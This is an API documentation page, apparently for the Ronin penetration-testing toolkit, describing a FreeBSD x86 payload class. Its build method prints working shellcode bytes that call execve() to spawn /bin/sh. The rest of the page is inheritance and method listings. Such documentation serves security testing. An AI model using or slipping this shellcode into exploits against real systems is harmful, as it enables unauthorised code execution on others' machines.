Class: Ronin::Payloads::Shellcode::FreeBSD::X86::ExecShell

Inherits:

ExecShellPayload

• Object
• Payload
• BinaryPayload
• ASMPayload
• Ronin::Payloads::ShellcodePayload
• ExecShellPayload
• Ronin::Payloads::Shellcode::FreeBSD::X86::ExecShell

Defined in:

lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb

Overview

FreeBSD x86 shellcode that calls execve() with /bin/sh.

Instance Attribute Summary

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary

• #build ⇒ Object

  Builds the shellcode.

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#build ⇒ Object

Builds the shellcode.

# File 'lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb', line 54

def build
  @payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" \
             "\x68\x2f\x62\x69\x6e\x89\xe3\x50" \
             "\x54\x53\xb0\x3b\x50\xcd\x80"
end